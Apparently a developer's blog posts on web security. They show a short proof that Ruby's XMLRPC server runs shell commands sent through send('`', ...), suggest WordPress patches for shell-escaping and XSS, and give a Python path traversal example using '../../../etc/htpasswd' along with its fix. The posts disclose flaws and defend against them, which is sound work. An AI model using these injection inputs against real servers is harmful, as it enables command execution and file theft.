lucumr

Looks like the Ruby XMLRPC implementation still has a vulnerability:

#!/usr/bin/env ruby
require 'xmlrpc/server'

class TestHandler
  def foo
    42
  end
end

if __FILE__ == $0
  srv = XMLRPC::Server.new(5000)
  srv.add_handler('test', TestHandler.new)
  srv.serve
end

Connecting to it with the python shell now does this:

>>> from xmlrpclib import ServerProxy
>>> p = ServerProxy("http://localhost:5000/")
>>> p.test.send('foo')
42
>>> p.test.send('`', 'echo "Shit"')
'Shit\n'

And something tells me there is no way to avoid this problem, so better just not use add_handler with a class. Explicit is better than implicit.

Update after some googeling i found someone that discovered the same: Ruby, Python, and an XML-RPC Server Arbitrary Shell Command Execution Flaw.

Today they released a new Wordpress version and there are a few security fixes in. Because I don’t feel like upgrading I patched the holes myself, here what you should fix if you use wordpress:

Look for that in wp-includes/class-phpmailer.php:

$sendmail = sprintf("%s -oi -f %s -t", $this->Sendmail, $this->Sender);

Those **** forgot to escape shell commands, they forward it to popen a few lines later. How stupid…? Here’s however is the fix:

$sendmail = sprintf("%s -oi -f %s -t",
    $this->Sendmail, escapeshellarg($this->Sender));

Then once again the xmlrpc.php file. Either delete it or make a cron that downloads the the most recent one automatically. They upgrade more escaping bugs then they actually announce…

And in the kubrick theme (if you use it or a derived theme) there is an XSS whole, they don’t escape REQUEST_URI, just replace

<?php echo $_SERVER['REQUEST_URI']; ?>

with

<?php echo htmlspecialchars($_SERVER['REQUEST_URI']); ?>

And the most interesting part about this update: security updates are marked as “minor”, a missing “<em>” is marked as major…

Update: they just inverted the colors… my fault

If you see this code: what’s wrong?

from os import path

page_id = req.args.get('page_id', 'index')
filename = path.join(path.dirname(__file__), 'includes', page_id)
try:
    f = file(filename)
except IOError:
    handle_not_found()

First of all, the page_id comes from an user submitted variable in a web application. It’s in fact a variable from the query string. Now someone could say ?page_id=../../../etc/htpasswd etc. There are numerous ways to fix that. For example you can do this:

from os import path
fn = path.join(*[x for x in fn.split('/') if x != '..'])

This also makes sure that the path separator is valid. I guess everybody that knows about security also knows how to defend those problems.

What you might not know is that python itself doesn’t accept null bytes in the “file/open” call. This is some sort of built in security feature. Other languages such as PHP forward the nullbyte to the C layer. Thus an attacker could cut off a string at a given position to gain further control over the input layer (cutting of a .php extension etc). This is more severe in Perl where you can also pipe stuff in the file call.

This security feature however doesn’t raise an IOError but a TypeError! So the corrected example from above looks like this:

from os import path

page_id = req.args.get('page_id', 'index')
filename = path.join(path.dirname(__file__), 'includes',
                     *[x for x in page_id.split('/') if x != '..'])
try:
    f = file(filename)
except (IOError, TypeError):
    handle_not_found()